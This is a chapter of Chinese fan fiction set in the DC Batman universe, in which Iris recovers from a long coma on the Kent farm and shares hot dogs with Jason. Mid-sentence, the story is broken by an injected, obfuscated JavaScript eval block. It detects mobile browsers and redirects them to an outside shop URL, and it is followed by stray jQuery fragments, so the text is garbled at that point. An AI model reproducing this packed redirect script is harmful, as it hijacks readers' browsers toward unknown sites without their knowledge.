复健比艾瑞斯想象的要慢。


    慢很多。


    每天醒来，先是检查。抽血、量血压、各种仪器贴在身上，嗡嗡地响。然后是复健。扶着栏杆走，一步一步，腿像不是自己的。走几步就喘，就出汗，就得坐下歇很久。


    医生说，躺了十年，肌肉萎缩得太厉害了。能醒过来已经是奇迹，恢复需要时间。


    三个月。


    整整三个月，她都在医院里。


    每天都是一样的白墙，一样的消毒水味道，一样的“再走五步”和“今天比昨天好”。


    三个月后，她终于能不扶东西站住了。


    ———


    第四个月，艾瑞斯住进了克拉克叔叔家。


    是布鲁斯的决定。


    也许他还想过将人送去别的远远的、却又安全的地方。但最后，她来到了这里。


    堪萨斯的农场。


    玉米地，红色的谷仓，一眼望不到边的天。和哥谭完全不一样，和大都会也不一样。这里很安静，安静得能听到风吹过玉米叶的声音。


    克拉克一家都很热情。


    玛莎奶奶会做苹果派。刚出炉的，热乎乎的，甜甜的。她总是端过来，看着艾瑞斯吃，眼睛笑眯眯的。


    “多吃点，孩子。你太瘦了。”


    艾瑞斯就慢慢吃。


    派很香。


    ———


    家里还有两个小伙子。


    一个是克拉克叔叔的儿子，叫乔，和艾瑞斯差不多大。他有时候会带她去农场里转，指给她看哪块地种了什么，哪只牛叫什么名字。


    另一个是康纳。


    她记得名字了。他总是很忙，不太在家。


    克拉克叔叔的妻子也很温柔。她话不多，但会在艾瑞斯复健累的时候递一杯水，会在她发呆的时候坐在旁边陪她。


    ———


    但艾瑞斯经常见到的是另一个人。


    杰森。


    他不知道什么时候来的，也不知道什么时候走的。但每次来，都会出现在她附近。


    站在门口。站在院子里。站在她复健的那条小路尽头。


    艾瑞斯知道他在看她。


    那种目光很轻，像是怕惊动什么。


    ———


    杰森总是想说什么。


    艾瑞斯看得出来。他站在那儿，嘴唇动了动，又闭上。手抬起来，又放下。好几次，她都以为他要开口了，但他只是看着她，然后转身走开。


    她失去了记忆。


    那些关于过去的事，关于她是谁，关于这些人是谁，她都不记得了。


    但她记得一些感觉。


    温情的。暖的。安全的。


    就像现在，杰森站在不远处，她看到他，心里就有一种很轻的、说不清的安稳。


    ———


    有一天，艾瑞斯在镇子上看到一个小摊。


    热狗。


    她站在那里，看了很久。


    摊主问她想不想要，她摇摇头，继续看。


    不是想吃。


    是想起什么。


    有一个人，好像也爱吃这个。那个人站在某个街角，手里拿着热狗，一边吃一边看她，笑得很……


    她记不清了。


    但那种感觉还在。


    ———


    那天下午，杰森又来了。


    站在院子里，看着她在门廊上晒太阳。


    艾瑞斯站起来。


    走得很慢，一步一步，扶着墙。杰森看到了，往前迈了一步，又停住。


    艾瑞斯走到他面前，抬起头。


    “杰森。”


    他愣了一下。


    那是她第一次叫他的名字。以前都是他看着，她安静。现在她叫他了。


    “你饿不饿？”艾瑞斯问。


    杰森张了张嘴。


    “镇上有个卖热狗的。”艾瑞斯说，“我请客。”


    ———


    艾瑞斯坐上杰森的摩托，从背后环住他的腰。


    杰森不太习惯这个动作一开始略有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296629|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抵触僵着身子。


    路过玉米地的时候，风把叶子吹得沙沙响。路过谷仓的时候，有只猫蹲在门口晒太阳，看了他们一眼，又闭上眼睛。


    走到镇上的时候，热狗摊还在。


    艾瑞斯买了两份。


    一份给杰森，一份自己拿着。


    他们坐在路边的长椅上，一起吃。


    ———


    杰森咬了一口。


    没有说话。


    艾瑞斯也咬了一口。


    嚼着嚼着，她忽然想起什么。


    很模糊。像隔着一层雾。


    艾瑞斯转过头，看着杰森。


    杰森也看着她。


    “怎么了？”他问。


    艾瑞斯想了想。


    “没什么。”她说。


    但她又看了他一眼。


    那双眼睛。她好像见过很多次。在不同的地方，不同的光线下，用不同的表情看着她。


    都是同一个人。


    ———


    他们吃完热狗，慢慢往回走。


    走到院子门口的时候，杰森停下来。


    “艾瑞斯。”


    她转过头。


    杰森站在那里，低着头，不知道在看什么。


    沉默了很久。


    “你…过得开心吗？”他开口，又停住。


    “嗯。”女孩轻轻的回答像是他的一场梦。


    杰森深吸一口气。


    “再见。”他说，“艾瑞斯，我还会来看你的。”


    艾瑞斯看着他。


    杰森骑着摩托打算离开。


    ———


    艾瑞斯站在院子里，看着他的背影将消失在路尽头。


    风把玉米叶吹得沙沙响。


    她不知道他要说什么。


    但她知道，他明天还会来。


    “再见，哥哥…”


    纵使没有记忆那又如何了，布鲁斯，迪克，杰森他们都不知道艾瑞斯的关注着他们，从电视，从报纸，从那些期刊中。